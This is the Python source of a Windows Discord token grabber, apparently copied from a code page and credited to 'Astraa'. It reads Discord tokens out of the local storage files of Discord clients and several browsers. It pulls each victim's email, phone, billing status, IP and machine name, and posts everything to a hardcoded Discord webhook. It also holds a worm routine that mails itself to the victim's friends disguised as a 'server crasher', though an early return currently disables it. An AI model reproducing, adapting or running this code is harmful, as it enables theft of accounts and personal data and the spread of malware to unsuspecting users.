| import os
|
| if os.name != "nt":
|
| exit()
|
| from re import findall
|
| from json import loads, dumps
|
| from base64 import b64decode
|
| from subprocess import Popen, PIPE
|
| from urllib.request import Request, urlopen
|
| from datetime import datetime
|
| from threading import Thread
|
| from time import sleep
|
| from sys import argv
|
| LOCAL = os.getenv("LOCALAPPDATA")
|
| ROAMING = os.getenv("APPDATA")
|
| PATHS = {
|
| "Discord" : ROAMING + "\\Discord",
|
| "Discord Canary" : ROAMING + "\\discordcanary",
|
| "Discord PTB" : ROAMING + "\\discordptb",
|
| "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",
|
| "Opera" : ROAMING + "\\Opera Software\\Opera Stable",
|
| "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
|
| "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default"
|
| }
|
| def getheaders(token=None, content_type="application/json"):
|
| headers = {
|
| "Content-Type": content_type,
|
| "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
|
| }
|
| if token:
|
| headers.update({"Authorization": token})
|
| return headers
|
| def getuserdata(token):
|
| try:
|
| return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
|
| except:
|
| pass
|
| def gettokens(path):
|
| path += "\\Local Storage\\leveldb"
|
| tokens = []
|
| for file_name in os.listdir(path):
|
| if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
|
| continue
|
| for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
|
| for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
|
| for token in findall(regex, line):
|
| tokens.append(token)
|
| return tokens
|
| def getdeveloper():
|
| dev = "wodx"
|
| try:
|
| dev = urlopen(Request("https://pastebin.com/raw/ssFxiejv")).read().decode()
|
| except:
|
| pass
|
| return dev
|
| def getip():
|
| ip = "None"
|
| try:
|
| ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()
|
| except:
|
| pass
|
| return ip
|
| def getavatar(uid, aid):
|
| url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"
|
| try:
|
| urlopen(Request(url))
|
| except:
|
| url = url[:-4]
|
| return url
|
| def gethwid():
|
| p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
|
| return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]
|
| def getfriends(token):
|
| try:
|
| return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
|
| except:
|
| pass
|
| def getchat(token, uid):
|
| try:
|
| return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
|
| except:
|
| pass
|
| def has_payment_methods(token):
|
| try:
|
| return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)
|
| except:
|
| pass
|
| def send_message(token, chat_id, form_data):
|
| try:
|
| urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode()
|
| except:
|
| pass
|
| def spread(token, form_data, delay):
|
| return
|
| for friend in getfriends(token):
|
| try:
|
| chat_id = getchat(token, friend["id"])
|
| send_message(token, chat_id, form_data)
|
| except Exception as e:
|
| pass
|
| sleep(delay)
|
| def main():
|
| cache_path = ROAMING + "\\.cache~$"
|
| prevent_spam = True
|
| self_spread = True
|
| embeds = []
|
| working = []
|
| checked = []
|
| already_cached_tokens = []
|
| working_ids = []
|
| ip = getip()
|
| pc_username = os.getenv("UserName")
|
| pc_name = os.getenv("COMPUTERNAME")
|
| user_path_name = os.getenv("userprofile").split("\\")[2]
|
| developer = getdeveloper()
|
| for platform, path in PATHS.items():
|
| if not os.path.exists(path):
|
| continue
|
| for token in gettokens(path):
|
| if token in checked:
|
| continue
|
| checked.append(token)
|
| uid = None
|
| if not token.startswith("mfa."):
|
| try:
|
| uid = b64decode(token.split(".")[0].encode()).decode()
|
| except:
|
| pass
|
| if not uid or uid in working_ids:
|
| continue
|
| user_data = getuserdata(token)
|
| if not user_data:
|
| continue
|
| working_ids.append(uid)
|
| working.append(token)
|
| username = user_data["username"] + "#" + str(user_data["discriminator"])
|
| user_id = user_data["id"]
|
| avatar_id = user_data["avatar"]
|
| avatar_url = getavatar(user_id, avatar_id)
|
| email = user_data.get("email")
|
| phone = user_data.get("phone")
|
| nitro = bool(user_data.get("premium_type"))
|
| billing = bool(has_payment_methods(token))
|
| embed = {
|
| "color": 0x7289da,
|
| "fields": [
|
| {
|
| "name": "**Account Info**",
|
| "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',
|
| "inline": True
|
| },
|
| {
|
| "name": "**PC Info**",
|
| "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}',
|
| "inline": True
|
| },
|
| {
|
| "name": "**Token**",
|
| "value": token,
|
| "inline": False
|
| }
|
| ],
|
| "author": {
|
| "name": f"{username} ({user_id})",
|
| "icon_url": avatar_url
|
| },
|
| "footer": {
|
| "text": f"Token Grabber By Astraa",
|
| }
|
| }
|
| embeds.append(embed)
|
| with open(cache_path, "a") as file:
|
| for token in checked:
|
| if not token in already_cached_tokens:
|
| file.write(token + "\n")
|
| if len(working) == 0:
|
| working.append('123')
|
| webhook = {
|
| "content": "",
|
| "embeds": embeds,
|
| "username": "Discord Token Grabber",
|
| "avatar_url": "https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png"
|
| }
|
| try:
|
| urlopen(Request("https://discord.com/api/webhooks/939315276082716692/m-Vzw9QZR5ILKiDmkGw-dWejBY7VDByottRNq6pqVpcqa9egHtpXssVq5Jx9eskSV6wy", data=dumps(webhook).encode(), headers=getheaders()))
|
| except:
|
| pass
|
| if self_spread:
|
| for token in working:
|
| with open(argv[0], encoding="utf-8") as file:
|
| content = file.read()
|
| payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'
|
| Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
|
| try:
|
| main()
|
| except Exception as e:
|
| print(e)
|
| pass |
